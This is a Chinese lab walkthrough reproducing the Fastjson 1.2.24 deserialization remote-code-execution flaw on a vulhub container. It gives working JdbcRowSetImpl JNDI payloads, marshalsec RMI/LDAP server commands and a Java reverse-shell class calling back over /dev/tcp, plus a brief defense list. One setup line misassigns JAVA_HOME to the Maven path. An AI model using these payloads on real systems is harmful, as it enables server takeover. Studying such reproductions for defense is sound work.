【vulhub】Fastjson1.2.24反序列化导致任意命令执行漏洞复现
字数 1256 2025-08-20 18:17:07
Fastjson 1.2.24 反序列化漏洞复现与分析
一、Fastjson 简介
Fastjson 是阿里巴巴开源的一款高性能 JSON 解析库,基于 Java 编写。主要功能包括:
- 将 Java 对象序列化为 JSON 格式字符串
- 将 JSON 字符串反序列化为 Java 对象
- 支持操作各种类型的 Java 对象,包括没有源码的预先存在对象
- 广泛应用于 Java 开发中的 JSON 数据处理
二、漏洞原理
1. 漏洞成因
Fastjson 在解析 JSON 时存在自动类型转换功能(autoType),系统未对 JSON 内容进行充分验证,直接将 JSON 解析成 Java 对象并执行。攻击者可以构造特定的恶意 payload,利用这一特性实现代码执行甚至命令执行。
2. 官方解释
Fastjson 在解析 JSON 过程中支持使用 autoType 来实例化具体类,并调用该类的 set/get 方法访问属性。通过查找代码中相关方法,攻击者可以构造恶意利用链。
3. 影响版本
Fastjson <= 1.2.24
三、环境搭建
1. 靶机环境
- 系统:vulhub_centos7
- IP:192.168.237.190
- 端口:8090
搭建步骤:
cd vulhub/fastjson/1.2.24-rce
docker-compose up -d
验证环境:
docker ps
访问 http://192.168.237.190:8090 查看 JSON 格式输出
2. 攻击机环境
- 系统:Kali Linux 2024.2
- IP:192.168.237.174
- Java 版本:8u202
四、漏洞验证
1. 使用 curl 验证
curl http://192.168.237.190:8090/ -H "Content-Type: application/json" --data '{"name":"hahaha", "age":20}'
观察返回结果中 name 和 age 是否被修改
2. 使用 Burp Suite 验证
- 抓取 GET 请求
- 改为 POST 请求
- 修改 Content-Type 为 application/json
- 添加请求参数
- 发送请求并观察返回包
五、漏洞利用
1. 环境准备
安装 Maven
wget https://archive.apache.org/dist/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
mkdir -p /usr/local/apache-maven
cp apache-maven-3.6.3-bin.tar.gz /usr/local/apache-maven
cd /usr/local/apache-maven
tar -xzvf apache-maven-3.6.3-bin.tar.gz
update-alternatives --install /usr/bin/mvn mvn /usr/local/apache-maven/apache-maven-3.6.3/bin/mvn 1
update-alternatives --config mvn
配置环境变量:
vim /etc/profile
添加以下内容:
JAVA_HOME=/usr/local/apache-maven/apache-maven-3.6.3
PATH=$PATH:$HOME/bin:$JAVA_HOME/bin
MAVEN_OPTS="-Xms256m -Xmx512m"
export JAVA_HOME
export PATH
export MAVEN_OPTS
使配置生效:
source /etc/profile
exit
mvn -version
安装 marshalsec
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
2. 文件创建测试
编写测试类 test.java
import java.lang.Runtime;
import java.lang.Process;
public class test {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/test666"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
编译并启动 HTTP 服务:
javac test.java
python -m http.server 6688
启动 RMI 服务器
cd target
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.237.174:6688/#test" 6655
构造 Payload
发送以下 JSON 数据(注意修改请求为 POST,Content-Type 为 application/json):
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.237.174:6655/test",
"autoCommit":true
}
}
验证文件是否创建:
docker exec -it d6403 /bin/bash
ls /tmp/test666
3. 反弹 Shell
编写 shell.java
import java.lang.Runtime;
import java.lang.Process;
public class shell {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.237.174/2233 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
编译并启动服务:
javac shell.java
python -m http.server 6688
启动 RMI 服务器
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.237.174:6688/#shell" 6655
监听端口
nc -lvvp 2233
发送 Payload
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.237.174:6655/shell",
"autoCommit":true
}
}
4. LDAP 利用方式
启动 LDAP 服务器
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.237.174:6688/#shell" 6677
构造 Payload
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.237.174:6677/shell",
"autoCommit":true
}
}
DNS 记录测试
修改 payload 中的命令为 DNS 查询命令,观察 DNS 日志记录
六、防御措施
- 升级 Fastjson 到最新版本
- 关闭 autoType 功能
- 对输入进行严格验证和过滤
- 使用白名单机制限制可反序列化的类
七、参考链接
- Fastjson 官方文档
- Marshalsec 项目 GitHub 仓库
- Vulhub 漏洞环境仓库